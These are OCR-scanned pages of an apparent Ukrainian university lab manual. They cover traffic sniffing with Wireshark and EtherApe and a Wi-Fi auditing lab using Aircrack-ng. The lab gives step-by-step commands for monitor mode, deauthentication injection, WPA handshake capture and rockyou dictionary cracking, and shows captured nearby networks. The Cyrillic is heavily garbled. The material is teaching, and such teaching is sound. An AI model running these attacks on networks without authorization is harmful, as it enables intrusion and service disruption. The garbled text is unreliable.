28022 84.160859702 192.168.0. 80 — 46240 [ACK] Seq=214 Ack=158 Win=65535 Len=0

28023 84.163710331 192.168. 0. [EERCESLEE 80 ~ 46256 [SYN, ACK] Seq=® Ack=1 Win=65535 Len=0 MSS=1460

28024 84.163813419 10.0.2.15 [EENIIYcE 46256 — 80 [ACK] Seq=1 Ack=1 Win=64248 Len=0

28025 84.164480288 10.0.2.15 ) § GET /webdata/ HTTP/1.1

28026 84.164816139 192.168. 0. RGN 80 . 46256 [ACK] Seq=1 Ack=158 Win=65535 Len=0

28027 84.168216676  192.168.0. IR IaJ(tele) | SIS UR TN HTTP/1.1 463 Forbidden (text/html)

28028 84.168300072 10.0.2.15 16256 . 88 [ACK] Seq=158 Ack=213 Win=64028 Len=6
28029 84.168821979 10.0.2.15 NetPerfMeter Stat 46256 — 8@ [FIN, ACK] Seq=158 Ack=213 Win=64028 Len=0
28030 84.168985233 188 i mne e a0 o) oo doio oo ucoouco cark orow

28031 84.169455213 1 / Wire: + Protocol Hierarchy St
28032 84.172105434
28033 84.172137241 Protocol ~ Percent Packets Packets Percent Bytes Bytes Bits/s End Packets End Bytes End Bits/s PDUs
28034 84.172105946 ~ Frame 100.0 28781 100.0 5297404 148k O (] 28781
e o - Ethernet 100.0 28781 87 461620 12k 0 0 28781
EETD G SR ~ Internet Protocol Version 6 0.0 0.0 80 2 o o
Ry LSRR Internet Control Message Protocol v6 0.0 0.0 16 o 2 16

o

0

2

b

e o o - Internet Protocol Version 4 100.0 575540 0
~ User Datagram Protocol 01 0.0 304 8 o
Multicast Domain Name System X X 92 2 92
Domain Name System . X 1466 41 1466
3 Data 1 X 2400 67 8 2400
Tr ro ~ Transmission Control Protocol .| E 4254614 119k 23920 1995259
Transport Layer Security . . 2366834 66k 192 2270019
Telnet 1 X 24 o 2 24
SSH Protocol A X 1623 45 7 1623
~ Hypertext Transfer Protocol ! .. 1386251 38k 2284 375478
Line-based text data d 610506 17k 2304 610506
HTML Form URL Encoded 1 X 75 20 3 75
eXtensible Markup Language X X 291 8 3 291
~ Action Message Format . % 9288 260 (o] o
Malformed Packet Il X o 0 12 o
Internet Control Message Protocol . X 1216 34 12
Address Resolution Protocol A . 74 p 2

No display filter.
Copy

eth0: <live capture in progress> Packets: 28781 - Displayed: 28781 (100.0%)

Pucynox 6.6 — BimoOpaxeHHs iepapxii IPOTOKOMIB y MepeXorieHoMy Tpadiky

CHidep Moxe BUKOHYBATH HE JIMIIIE 3aXOIJICHHS MAaKeTiB, 1HOA1 BiH HEOOX1THUMA
JUIIE I MOHITOPUHTY 3BEpPHEHb XOCTY y Mepexi. s Takux 1uie po3poOiaeHo
cuidep EtherApe. Moro MoXIIMBO BCTAHOBUTH BHKOHABIIM KOMAHIy y KOHCOMI Bif
iMeHi root'a “apt install etherape”. 3amyctuBmu EtherApe Bin imeHi cymep-
KOpHCTYyBaya 00epiTh iHTepderic Ta pexxum y MeHio “Capture” (mo3Ha4eHO YepBOHUM
MapkepoM Ha PucyHok 6.7).
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Pucynok 6.7 — I'onoBHe BikHO cHidepy Etherape, uepBoHUM MapkepoM MoMideHe
MeHto “Capture”

[Tpuxman pobotu cHipepy 300paxkeno Ha Pucynky 6.8.

ipb-aHeouters

/
l'Z'.'-:'.lEAlEIl

Pucynox 6.8 — Ilpuxian po6otu cHidepy

3BepHITH yBary, MO0 3JiBa 3HAXOAWUThCS maHenb “Protocols” —tam
B1100paxaroThCsl yC1 HENIOAaBHI MPOTOKOJIH, 3a SKUMH HAJACWIAIIUCS JTaHi.
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3aBnaHHA:

— BukopucroByroun cHibep Wireshark Tta indopmarmio 3 caiity anti-
trojan.org/port_opened.html (MoIMBO BUKOPHCTOBYBATH 1 1HIIII peCypCH, OCHOBHUM
KpUTEpIEM € aKTyaJbHICTh 1HopMalli), mnodyayiTe ¢iasTp (3axBaTy abo
BIIOOpaXEHHS) [JIs1 TepexBaTy MaKeTiB, IO MOXYThb MTH 31 IIIMUTYHCHKOTO
IpOrpaMHOTO 3a0€3MCUCHHS;

— micisg mooynoBu GUIBTPY MpoaHaiizyite Tpadik y JIEKIIbKOX Mepekax,
aojaiTe y 3BIT iH(OopMalito Mpo Tpadik, KUl OyJI0 OTPUMAHO y KOXKHIN 3 MEPEK;

— 3a nomomororo Wireshark mnpoananizyiite Tpadik, MO TEHEpye Bail
KOMIT'IOTEp TMpH 3BEPHEHHI Ha TMOMYJSApHI caiTu (BUKOPUCTOBYHTE (IIbTPH,
1H(pOpMAIIiO PO HUX TOJAUTE Yy 3BIT, MOSICHITH YOMY BU BUKOPHUCTAJIM came iX), Barlii
CIIOCTEPEKEHHS JOaiTe y 3BIT;

— BHUKOpHCTOBYIOouM cHipep EtherApe, npoanaizyiite 38’513k, 1110 BAHUKAIOTh
MpU 3BEPHEHHI Bamoro Opay3epy 10 TOMYJISpHUX CaiTIB, JojaiiTe y 3BIT
CIOCTEPEKEHHS Ta MOSCHEHHS NPO MPUPOAY NOXOKEHHS IIUX 3B A3KIB.
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JlabopaTtopna po6ora Ne 7

Tema: 3aci6 gociipkeHHS BpasiamBocTed Oe3mporoBux Mepex  Wi-
Fi — Aircrack.

Meta: OtpuMarun HaBUYKH 300py TEXHIYHOI Ta 4YyTJIWMBOi 1HGopmalii 3
oe3aporoBux mepex Wi-Fi 3 BUkoprcTanHsM mporpaMHoro makeTy Aircrack.

Teopernuni Bitomocri

Aircrack — mporpaMHuii KOMIUIEKC 3 JEKIJTbKOX AaBTOHOMHHUX KOHCOJBHHX
yTuiiT. Haif011p111 yacTo BUKOPUCTOBYBAaHUMHU 3 HUX €:

— alrmon-ng — ytwiita JUis  KEpyBaHHS MEpEeKEBUMH  iHTep(elicamu.
OcHOBHMMH 3aBJaHHSAMU € BU3HaueHHA [13, mo 3aliMae mepexeBuil iHTEpdeiic — 11e
JI03BOJIsSI€ BUKOHATH HEOOX1THI A1 U1 HOTO BUBIJILHEHHS Ta TIEpEBEICHHS 1HTepdercy
B PEXKHUM «MOHITOPY», 110 1a€ 3MOTY BUKOHYBATH 301p iHpOopMaIii.

— alrodump-ng — yTuiirta, o npaifoe 3 MEpeKeBUM iHTepdericoM, 1mo 0y
MEePEBE/ICHO Y pexuM MOHITOpY. BoHa peanizye ¢yHKIlii MepexkeBoro cHidepa, aie
nepexoruioe Tpadik HE 3 Mepexi, M0 AKOI MIAKIIYeHa, a Oe3MoCepeiHbo 3
0e3MpoBIAHIX Mepex. Mae Benukuil Habip OmIli Ta (PyHKITIH.

— aireplay-ng — yrumita, npu3HadeHa Ui BUKOHAHHS «iH’€KIii» y Tpadik.
3a3BUyail 1 yTHIITAa BUKOPUCTOBYETHCS JJIsl TOrO, 0O HaJlcaaTH y Tpadik MeBHOI
Mepexi HallIp 3 NEBHUX CITY>KOOBUX KOMaH/ BiJl IMEHI, TOUYKH JOCTYIY YU KJII€HTA 1€l
TOYKH.

— aircrack-ng — yruiita, mo mnpu3HaueHa IS MPOBEACHHS KPUIITOAHAIIZY
OTPUMAaHMX MAKEeTiB I OTPUMAaHHS KIIOYIB TOYKH JOCTYITY.

OxpiM MOXJIMBOCTI OTPUMAHHS KJIIOYIB BiJ] TOUKH JOCTYMY (Il MOKJIMBOCTI
OyayTh PO3TJISIIATUCS Y MOAATBINNX JabopaTopHUX pobotax), Aircrack namae rapsi
MOKJIMBOCTI JUIsl aHAJ3y aKTHBHOCTI KOPUCTYBayiB IMEBHOI TOYKH JNOCTymy. Ay
BIIKPUTHX TOYKAX IIIE ¥ JJO3BOJISE TIEPEXOILIIOBATH 1X TpadiK, aHaJI13 SKOTO MOXKE JaTH
6e3m14 kopucHoi 1Hpopmartii. s 300py Takoi iHbopmailii OyzeMo BUKOPUCTOBYBATH
airodump-ng.

Bapro 3ayBaskutH, 1110 AJ1 TOTO, 1100 BUKOHYBATH ayIUT O€3MeKu OE3IpOTOBUX
mepex Wi-Fi 3 BipTyanpHOT MamHu, ToTpiOeH noaatkoBuii Giznunuii Wi-Fi aganrep.
Tomy, 3a BIACYTHOCTI ajamnrtepa JJis J1aHOi JIaOOpaTOpHOiI pOOOTH PEKOMEH]I0BAHO
BUKOpUCTOBYBaTH Live-oOpa3 Ha duienn-kapTii (MOCWJIAHHS Ha I1HCTPYKINIO 3
odimiitroro caity Kali 31 Bcranosnenns Live-oopasa — kali.org/docs/usb/).

s modaTky poOOTH HEOOXiAHO 3amycTUTH TepMiHan 1 nepeBectr Wi-Fi
iHTEepdeic y pexum MoHiTopa. ns mporo moTpiOHO Ai3HATUCA CUCTEMHY HAa3BY
noTpidHoro inTepdeiicy. [I{o6 mepenuBuTHCS yCi iHTepdelicH, Mo JOCTYIHI y Ballii
CHCTEMi, BUKOHAlTe KoMaHy ifconfig (Pucynok 7.1).
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k.

keali@ kali: ~

File Actions Edit View Help

— [

collisions @
wlan@: fla 4, 104 L CAST> mtu 1500

(Ethernet)
)

collisions @

Pucynok 7.1 — Komanna ifconfig BuBomuTh yci Mepeskesi inTepdeiicu cucremMu

3BEpHITh yBary, IO BUKOHYBAaTH NEPEKIIOYEHHS IHTEpPeiicy y pexum
MOHITOpPY HEOOX1THO BiJI iMEHi cyrmep-koprucTyBaua (root’a). SIKio TepMiHai BiKPUTO
HE B1J IMEH1 r00t'a, y moYaToK CTPOKH 3 KOMaHJOI0 BBEAITh JOJATKOBO sudo 1 3a
noTpedu BBENITh Mapoib cymnep-kopuctyBada. [l modatky Tpeba BU3HAUMTH, SIKI
MpoIleCH MOXKYTh BHUKJIMKATH MpOOJIeMH Tl 4Yac PoOOTH ajamnTepa y pexuMi
MOHITOpa — 116 MOKHA 3pOOUTH 32 JOMIOMOIOK0 KOMaHJM sudo airmon-ng check
[im’ 2 imTepdeitcy] (PucyHok 7.2).

- kali@kali: ~
File Actions Edit View Help

check wlan®

Found 2 processes that could cause trouble.
Kill them using 'airmon-ng check kill' before putting
the card in monitor mode, they will interfere by changing channels

and sometimes putting the interface back in managed mode

PID Name
1531 NetworkManager
1580 wpa_supplicant

Pucynok 7.2 — Po6oTa komanau airmon-ng check wlan0
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Jlis Toro, mo0 mo30yTucs MPOIECiB, MO CHPUUMHATH MPOOJIEMH, BUKOHAMNTE
KOMaHJly ki1l [PID mpouecy] BiJl IMEHI cynep-KopucTtyBaya. Takox ycl I1i polecu
MO’KHA 3yIIMHHUTH 34 JOIIOMOI'OK0 KOMaHIM airmon-ng check kill.

[HOM1 IbOTO OYyBa€ HENOCTATHRO, TOMY MOKHA CIIPOOYBAaTH BUMKHYTH, a MOTIM
3HOBY YBIMKHYTH MepexkeBuil anantep. Lle BUKOHYyeTbCs 3a JOMOMOIOI0 KOMaH]
ifconfig [iMm’'sa diHTepdericy] down 0H06 BHMKHyTH) Ta ifconfig [imM's
inTepdeticy] up (0100 YBIMKHYTH), BUKOHYBAaTH KOMaHIM HEOOXiMHO BiJ iMEHI
cymnep-kopuctyBada (Pucynox 7.3).

k.

File Actions Edit View Help

—

wlan®@ down

— |

wlan@ up

Pucynok 7.3 — BumkHeHHs 1 yBiMKHEHHs anantepa Wlan0
Jns Toro, 1mo6 nepeBect iHTEpdeEc 6e31pOTOBOr0 MEPEKEBOro ajgantepa y

PEXUM MOHITOPY, BHUKOHAaWTE€ KOMaHAy sudo airmon-ng start [iMm’ &
inTepdericy].
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kali@kali; ~
File Actions Edit View Help

— |

check kill
Killing these processes:

PID Name
1579 wpa_supplicant

start wlan®@

PHY Interface Driver

phy@ wlan@ : ealtek Semiconductor Co., Ltd. RTL88
22CE 802.11ac PCIe Wireless Ne
(monitor mode enabled)

Pucynok 7.4 — IlepeBenenns intepdericy wlan0 y pexum MOHITOPY

[Ticnst Toro, sik iHTepdeiic Oyne MEpeBEICHO Yy PEKUM MOHITOpa, HOro
HEO0OXiTHO BUKOPHCTATH JIJIsl HACTYITHOT'O KPOKY, a caMe — 3alycKy yTuiita airodump-
ng, sika T03BOJIUTh MEPErIIAAaTi aKTUBHICTh TOYOK JocTymy (AP, “access point”) ta ix
KOPUCTYBa4iB y PEAJIbHOMY 4Yaci y 30HI JOCSIKHOCTI O€3[pOTOBOTO MEPEKEBOTO
agantepy. CHHTAKCHC KOMaH/IM HaCTYITHUM:

- airodump-ng [nmapamMeTpr] <HazBa l1HTepbency>

[Tpuknan pobotu yTusitu 300paxkeHo Ha Pucynky 7.5.
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File Actions Edit View Help
CH 3 ][ Elapsed: 36 s ] [ enabled AP selection

BSSID PWR Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID

30:B5:C2 -94
14:EB:B6 =3
D4:6E:QE -93
00:EQ:4C -92
E4:C3:2A -89
CO:25:E9 -94
E4:C3:2A -97
EC:08:6B
14:EB:B6 -92
90:72:40 -95
CO:C9:E3 -94
B8:69:F4 -90
18:A6:F7 -94
68:FF:7B -89
CO:C9:E3
1C:3B:F3 -91
98:DE:D® -94
28:D1:27
38:6B:1C
EA:C3:2A
84:D8:1B

| D4:6E:QE
CO:25:2F -94
34:CE:00 -92
D4:6E:0QE -91
CO:A5:DD -85
F8:DA:11 -69
14:4D:67 -98
64:70:02 =57
E4:C3:2A -85
F8:1A:67 =1
FO:B4:D2 -83
F4:8C:EB -89
0C:80:63 -91
18:D6:C7 -92
1C:3B:F3 -89
00:5F:67 -88
7C:8B:CA -90

WPA2 CCMP PSK ASL

WPA <le

WPA2 CCMP PSK TP-

WPA2 CCMP PSK Bot

WPA2 CCMP PSK kar

WPA2 CCMP TP-

<le

WPA2 CCMP DI\

WPA2 CCMP TP-

WPA2 CCMP Apg

WPA2 CCMP TP-

WPA2 CCMP Hon

WPA2 CCMP Krc

WPA2 CCMP TP-

WPA2 CCMP TP-

WPA2 CCMP TP-

WPA2 CCMP Sai

WPA2 CCMP A2r

WPA2 CCMP MEF

WPA2 CCMP <le

WPA2 CCMP TP-

WPA2 CCMP K TP

360 WPA2 CCMP FS1
130 WPA2 CCMP Xiz
270 WPA2 CCMP TP-
270 WPA2 CCMP Vol
130 WPA2 CCMP dd-
270 WPA2 CCMP VIN
135 WPA2 CCMP kaz
270 WPA2 CCMP Bar
-1 <le
130 WPA2 CCMP DIF
270 WPA2 CCMP PSK Novw
270 WPA2 CCMP PSK reg
270 WPA2 CCMP PSK TP-
270 WPA2 CCMP PSK MAF
¢ 270 WPA2 CCMP PSK TP-
1 270 WPA2 CCMP PSK TP-

= — =
DWNWeOSWUME NN

[y

[y

= =
WOPFPFFRFNONONOVOWUONSOWRFEUOUNGON

OO WEIO © 0000000000000 ONG

[y

oceunneroeee

BSSID STATION PWR Rate Lost Frames Notes Probes

14:EB:B6 C6:9B:96 -97 0 - 1le
E4:C3:2A BA:2E:E9 -94 0 -1
28:D1:27 D4:1B:81 -94 0 -1
D&4: 3 AB -30 24e- 1
CO:A5:DD E2:D5:8D -71
F8:DA:11 40:AA:56 =%
64:70:02 22:E3:CD -76
64:70:02 36:06:AC -59
E4:C3:2A 92:73:5B L
F8:1A:67 1E:7B:CD -98

4
3
45
16
61

B
SIS ©

N

Pucynok 7.5 — [pukiag pobotu yrumita airodump-ng

PosristHemMo mosist BUBOY YTHIIITH (BEpXHiid 0JIOK BigoOpakae iHhopmMarlito mpo
HasiBHi AP):

— BSSID — MAC-anpeca Touku JOCTYILY;

— PWR — piBeHb curHaity TOUKH JOCTYITY;

— Beacons — koxkna Touka gocryny (AP) maacunmae mpuOimsno 10 beacons-
MAKeTIB B CEKYH]ly, 1100 MOBIAOMUTU MPO CBOK MPHUCYTHICTH; SIKIIO € CYMHIBH Y

81




anexkBaTHocTI nanux noisi PWR, To MOXHa OLIIHUTH piBEeHb CHUTHATY 3a KUIBKICTIO
beacons-makeTiB: 4uM O1JIbIIIE — TUM KPAIlUi CUTHAT,

— Data — KiIIbKICTh ITaKETIB 3 JaHUMU,

— CH — kaHau, Ha sskomy npaiitoe AP;

— MB — mBuakicte, Ha skii omepye AP: 11 -—me uwmctuit 802.11b, a
54 —yuctuit 802.11g, 3HAYeHHA MIDK HUMHU —II€ 1HIII CTAHJAPTU IIBHAKOCTI,
Hanpukian 801.11n;

— ENC — tun mmmdpysanss, 1mo BUKopuctoBye AP;

— ESSID — na3Ba mepexi. [HO1 Ha3By MPUXOBYIOTH JIJIsl TOTO, II00 YHUKHYTH
3aliBUX MiJKJIIOYEHb, aje aifMoNn-Ng Moke 3HANTH TaKy MEpEKy 1 BiJIOBIIHO
BCTAHOBHTH CTEKEHHS 3a HEIO.

Tenep po3rstHEMO HIDKHIN 0JIOK (BiH BimoOpaskae MOBeIiHKY KiaieHTiB AP):

— BSSID — MAC-anpeca AP, 3 ax010 B3aEMO/Ii€ KITIEHT;

— STATION — MAC-aapeca kii€HTa;

— PWR — piBens curnainy;

— Packets — kigbpKicTh OTpUMaHKUX MAKETIB 3 JaHUMH,

— Probes — na3Bu Mepeik, 10 AKMX HaMaraBcs MIIKIIOYUTHCS aganTep KIeHTa.

Jami tpeba 3anucatu Tpadik, M0 MPOXOIUTH Kpi3b MOHITOP. /11 IbOTO MOKHA

BBCCTH KOMAHIAY:
- airodump-ng -w local network wlanO

Hexait 3amuc TpuBae naeskuii yac. Komm yci crtaHiii Ta KI€HTH OYIyTh
3a(ikcoBaHi, MOKHA 3ymUHUTH poOoTy airodump-ng. daiimu 30epiraroThes 3a
HIISXOM, 3 IKOT0 OyJia 3amyIieHa KoMaH1a, 3a 3aMoBuYyBaHHsaM 1ie /home/kali.

lomo  mocmimkenHss BpasnmBocTedr  WIi-FI Mepexx, TO OCHOBHUMH
BpPa3JIMBOCTSAMHM MOXHA BBa)KaTd Te€, 110 4epe3 OCOOJHMBICTH peaiizaili JaHHI, 110
MEPEAAIOTHCS TAKOI0 MEPEKEI0, MOXKYTh OyTH 3a(IKCOBAHUMU OY/Ib-IKUM MPUCTPOEM
3 0€3IpOTOBUM MEPEKEBUM I1HTEpPECOM, BOHM 3aXMILEHI TUIbKH MIISIXOM
mupyBaHHs, 1 IXHE TOXOIKEHHS MOKe OYTH MIAPOOICHUM.

BpaxoByroun BuIle3rajiane, SKIIO KIIEHT MIIKIIOYAETHCS 10 MEPEXi, MPoliec
aBTeHTU(IKAIT (YOTUPUCTOPOHHE pyKkocTrcKkanHs, four-way handshake, EAPOL), o
MICTHTB Y 001 Xeml mapoJist, Moxke OyTu 3adikcoBanum anamizatopamu Wi-Fi tpadiky
(y HamoMy BHIaaKy — airodump-ng).

[To-nepiiie, airodump-ng 3a 3aMOBYYBaHHSIM JYXE YacTO MEPEKIFOYAETHCS 3
OJIHOTO KaHaJTy Ha IHIIWH, 100 3adikcyBaTH HalOUIbIIKMK qiana3on edipy. s Toro,
11100 CKOHIICHTPYBaTH airodump-nNg Ha KOHKPETHY TOYKY JOCTYIY, OTPiOHO BKa3aTh
omnuii kanany, BSSID Touku goctymy Ta Miclie 30epiraHHsl pe3yibTaTy CKaHyBaHHS.
Ile HanamTye mporpamMy Ha aHalli3 KOHKPETHHX MakeTiB Tpadiky, skl OyayThb
3anucyBaTvcs y 3anaHuid ¢aiin. s 3amycky MoOXKHa BHKOPHCTATH HACTYIHY

KOMaHy:
- sudo airodump-ng -c <N kaHaJly> —--bssid <BSSID TOuUukM IOCTYIIY>
-w <HasBa Odamnny> <iHTepderc>
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w kali@kali: ~
File Actions Edit View Help

D4:6E:QF -c 1 -w WPA wlanofj

Pucynok 7.6 — 3amyck airodump-ng muist 3anucy Tpadiky, OB’ S3aHOTO 3 JaHOKO
TOYHOIO JIOCTYITY

Mo>kHa 4eKaTu, JOKU IEXTO CaM MIAKIIOYUTHCS 10 TOUKHU JIOCTYITY, POTE 1CHYE
MOXJIMBICTh BUKOHYBATH 1H €KIIit0 Tpadiky. Taki BUIU AISIbHOCTI TpeOa BUKOHYBATH
JUIIE Y MepeKax, JJis SKUH BU Ma€Te BIMOBIIHUHN 103B11 a00 SIKUMH BOJIOJIIETE.

s iv’ekiii Tpadiky BHUKOPHUCTOBYEThCs 3aci® aireplay-ng. Bin mosBoiisie
BIJIICJIATH MEBHY KIJIbKICTh MOBIJOMIIEHb MOTPIOHOTO THUMY (HANMPUKIA, IHCTPYKIIS
TUTSI BIIKJTFOYCHHS B Mepesxi) 3 miactaHoBkoro BSSID touku noctymy 3amicts MAC-
aJpecu JpKepena MOBIIOMIIEHb. B HOBOMY BIKHI TepMIHaly I 3alyCKy aTaku

AJOCTAaTHBO BBECTHU HaCTyrIHy KOMaHI[yZ
- sudo aireplay-ng -<0-9 - Tmun arakwu> <N nakeriB> [-a <BSSID
TOUKM IOOCTyIly>] [—-c <BSSID kjienTa>] <iHTepdenc>

File Actions Edit View Help

-~

50 D4:6E:OE wlan®

©3:15:42 Waiting for beacon frame (BSSID: D4:6E:QE: ) on channel 1
NB: this attack is more effective when targeting

a connected wireless client (-c <client's mac>).
©3:15:42 Sending DeAuth (code 7) to broadcast BSSID:
©3:15:43 Sending DeAuth (code 7) to broadcast BSSID:
©3:15:43 Sending DeAuth (code 7) to broadcast BSSID:
©3:15:44 Sending DeAuth (code 7) to broadcast BSSID:
©3:15:44 Sending DeAuth (code 7) to broadcast BSSID:
©3:15:45 Sending DeAuth (code 7) to broadcast BSSID:
©3:15:45 Sending DeAuth (code 7) to broadcast BSSID:
©3:15:46 Sending DeAuth (code 7) to broadcast BSSID:
©3:15:46 Sending DeAuth (code 7) to broadcast BSSID:
©3:15:46 Sending DeAuth (code 7) to broadcast BSSID:
©3:15:47 Sending DeAuth (code 7) to broadcast BSSID:
©3:15:47 Sending DeAuth (code 7) to broadcast BSSID:
©3:15:48 Sending DeAuth (code 7) to broadcast BSSID:
©3:15:48 Sending DeAuth (code 7) to broadcast BSSID:
©3:15:49 Sending DeAuth (code 7) to broadcast BSSID:
©3:15:49 Sending DeAuth (code 7) to broadcast BSSID:
©3:15:50 Sending DeAuth (code 7) to broadcast BSSID:
©3:15:50 Sending DeAuth (code 7) to broadcast BSSID:
©3:15:51 Sending DeAuth (code 7) to broadcast BSSID:
©3:15:51 Sending DeAuth (code 7) to broadcast BSSID:

Pucynok 7.7 — BukoHaHHS 1H’ €KII1i KOMaHU ISl BIIKJIFOUEHHS B MEpexi
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Mera naHOi aTaku TOJIATA€ B TOMY, IO OUIBIIICTh MPHUCTPOIB HAMArarOThCs
ABTOMATUYHO IMiIKJIFOYUTHUCS J0 TOYKHU JOCTYITY, IO 1 J]a€ HaM 3Mory 3a(ikcyBaTu
“xenmurerik”. Komiu BiH Oy/e 3anucaHuM — y BikHI airodump-ng 3’SBUThCS HACTYITHUAN
3anuc (Pucynok 7.8). Skmo y 1med d4ac 1H’€KIls TIPOJIOBXKYEThCS — i1 BapTO
MIPUITUHUTH.

kali@kali: ~

File Actions Edit View Help

][ WPA handshake: D4:BE:QE:
PWR RXQ 8/S CH MB NC CIPHER AUTH ESSID
D4 :6E:QE -28 96 752 542 0 | WNPA2 CCMP PSK TP-LIN
BSSID

D4 :6E: 0QF

Pucynok 7.8 — Airodump-ng 3adikcyBas EAPOL “xenmmienik”

OcTaHHIM KpOKOM € BHKOPHUCTaHHSA camoro aircrack-ng. Ils yrwiita
MpU3HaYeHa JJisl mepe0opy MaposiiB Ta MOPIBHSIHHS iX 3 XelIeM, 3alucaHuM y ¢aiity
Tpadiky. OCHOBHA aTaka 3a JOMOMOTroIo aircrack-ng — cIOBHUKOBA aTaKa. Ii MpUHIMIT
MOJIATAK0 y MIEPEBIPIll HAMOUIBII BXXKMBAHUX 200 CIeIiaIbHO CKOMITUIHOBAaHUX HAOOPIB
MapoJIiB.

Y Kali Linux HasBHI momepenHbO 3aBaHTaXeHI (aiam 3 MOMYJISIPHUMH
NaposIsIMM, HAWOLIBII BIAOMHUM 13 HHX € CIHUCOK FOCKyou.txt, mo wmictuth 14 3
MOJIOBUHOIO MUIbHOHIB MapoJiiB. 3a 3aMOBUYBAaHHIM (Daiilsl 3HAXOAUTHCS B apxXiBi 3a
muraxom /usr/share/wordlists/.

3amycTutH aircrack-ng MoxHa KOMaHJI0¥0:
- aircrack-ng -w <mjggax OO CJOBHMKA> <UJIAX IO 3anmucy Tpadiky>

[Iportec po3apxiByBaHHS Ta BHUKOPHCTAHHS CIOBHHKA 300paXXeHO Ha
Pucynky 7.9.

E

kali@ kali: ~

File Actions Edit View Help

— ||

- -fﬁsrfsharefwurdlistsfruckyuu.txt.gz

— |

w fusr/share/wordlists/rockyou.txt WPA-01.cap]]

Pucynok 7.9 — Po3apxiByBaHHs CIIOBHHKa Ta 3amyck aircrack-ng
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Jauti mouHeThest migbip mapods go orpumanoro EAPOL (Pucynok 7.10). SAxmo
BiH OyJe 3HalJACHMI y TaHOMY CJIOBHHKY — 1€ OyJ/ie BBKATUCS BPA3IHMBICTIO KJacy
aBTeHTH(}iKaIlii, a caMe BUKOPUCTaHHS cIAOKOro mapoiis. J[o Toro *k, mapoib MOXKe
HaJIaTU HE TUIbKH JOCTYII 0 MEPEXIi, ajie i MOXKJIUBICTh AcudpyBaHHs Tpadiky y
1 Mepexi.

kali@kali: ~

File Actions Edit View Help

Aircrack-ng 1.7
[00:00:35] 151682/14344392 keys tested (4357.13 k/s)
Time left: 54 minutes, 17 seconds

Current passphrase: boogerl®

Master Key

Transient Key

EAPOL HMAC

Pucynok 7.10 — Ipornec nepebopy nmapostiB yTuiiToro aircrack-ng

[Ticns mepebopy BapTO CKOMIIOBaTH YCl 3reHepoBaHl (aiimu Ha OyIb-aKui
HaKoNMUuyyBay (Hampukiaj, ¢uiem-kapra, K0 Ha Hifl HaJIAIITOBAaHWUN JOJIaTKOBHIA
PO3/1T) Ta IOTIM 3aBAaHTAXKUTH 1X Y BIPTyaJIbHy MAIIUHY.

Cepen 3renepoBanux HaOOpiB (ailiiB € nBa (aitnu, siKi HaM 3HATOOIATHCS Jali:

— .cap — 3amnuc Tpadiky, cymicuuit i3 Wireshark;

— .CSV — CIIMCOK TOYOK JOCTYIY Ta KJIIEHTIB 3 IeTaIbHOIO 1H()OpMALII€IO.

Jns mouatky mnoOynyemo rpad, Ha SKOMY TOKaKEMO 3B’A3KH MIX
3apeECTPOBAHMMH CTaHIIISIMH Ta TOYKaMH JOCTymy. Jlims 1mboro Ham mOTpiOHO
3aBaHTakuTH airgraph-ng:

- sudo apt install airgraph-ng

[Ticns mporo rpad MoXKHA 33 TOIMTOMOTOK0 KOMAaH/IH

- airgraph-ng -i local network.csv -o graph.png -g CAPR

[lepmmii 3amyck MOKe€ TPUBATHU JEKIJIbKa XBWJIMH, B PE3yJIbTaTi OTPUMYEMO
BianoBiHe 300paxents (Pucynok 7.11):
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DH1BB14 L s
OUL CHONGQING FUGUI ELECTHONICS C0.,LTD.
Device Type: Unknonn

L
6L Usknown.
vi e Unknown

EA24CL
OUT: Unieni

22:ECD
UL Unimown

Dewice Type: Unknawn

First Time Seen:

Last Time Seen:

CEEBOE
out,

Generated by Airgraph-ng
11 Access Points and
13 Clients shown

Pucynox 7.11 — I'pad 3B’513KiB Mi>k TOUKAMU JOCTYITY Ta KJIIIEHTaMH

MoskHa TOMITHTH, IO KOXHHUM By30JI (3€JICHUM TMO3HAY€HI TOYKHU JIOCTYITY)
MicTuTh Taky iHpopmanito, sk: BSSID, ESSID, kanan, mmdpyBanHs Ta dac
peecTparlii.

CrocoBHO .cap daitny, oro MmoxxHa Biakputu y Wireshark. B nanomy Bumaaky
HAC WiKaBUTh (ain, y sSKOMy 3amucaHi 1H€KIii Ta Tporec aBTeHTUdIKaIIii.
BuxopucTtoByoun 3HaHHS, OTpHMaHI MiJ Yac MONepenHboi 1abopaTopHOi, MOKHA
BindinpTpyBatt EAPOL makeTn 3 makeTamMu BiIKJIFOUEHHS BiJl MEPeXki Ta BUKOHYBATH
anaii3 tpadiky (Pucynok 7.12).
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WPA-02.cap

File Edit View Go Capture Analyze Statistics Telephony Wireless Tools Help
ADA® R BER@ Q ¢« »0 «>EE oo o [@
oo fror e W e e P G s e bbb e et e e T T EE

Protocol Length Info

No. Time Source Destination

23244 54.432715 TP-Link_ IntelCor EAPOL 133 Key (Message 1 of 4)
23264 54.452227 IntelCol TP-Link_ EAPOL 157 Key (Message 2 of 4)
23269 54.455504 TP-Link_ IntelCor » = EAPOL 189 Key (Message 3 of 4)
23273 54.458831 IntelCor TP-Link_ EAPOL 133 Key (Message 4 of 4)

» Logical-Link Control
~ 802.1X Authentication

Version: 802.1X-2001 (1)
Type: Key (3)
Length: 151

Key Descriptor Type: EAPOL RSN Key (2)

[Message number: 3]

» Key Information: ©x13ca

Key Length: 16
Replay Counter: 2

88 02 3a 01 ac 2b 6e ec
00 5f 67 37 Ob e6 10 00
88 8e 01 03 00 97 02 13
00 00 02 Ob S5e 7d 4d ca
43 96 45 06 dc 9e 6a 43
2b e9 77 00 00 0O 0O 00
00 00 00 06 19 0O 00 00
00 00 00 51 d4 41 31 31
13 c5 50 00 38 4a 64 e7
20 83 07 e9 7f e9 5f ad

82 cc 00 5f 67 37 ©b e6
00 00 aa aa 03 00 00 00
ca 00 10 00 60 0O 00 00
c8 41 4c f2 bf 15 68 ab
6d 83 87 a5 a7 5d a0 9f
00 00 00 60 60 0O 00 00
00 00 00 00 0O 0O 00 00
91 af cO 87 e6 3d 63 8c
21 15 4c 1b ea 03 0d ad
ee 73 ce eb fc 42 50 85

ec b3 53 5¢ 1b fb 07 cd 14 a4 6¢c 2b 51 67 de 79

WPA Key Nonce: ©b5e7d4dcac8414cf2bf1568ab43964506dc9e6a436d8387a5a75d: 3f ab ©3 9a 97 Ob 5a a9 b8 3d be 8d da

Key IV: 00000000000000000000000000000000
WPA Key RSC: 0619000000000000

WPA Key ID: 0000000000000000

WPA Key MIC: 51d441313191afc087e63d638c13c550

WPA Key Data Length: 56

WPA Key Data: 4ab64e721154c1bea030dad208307e97fe95fadee73ceebfc425085e

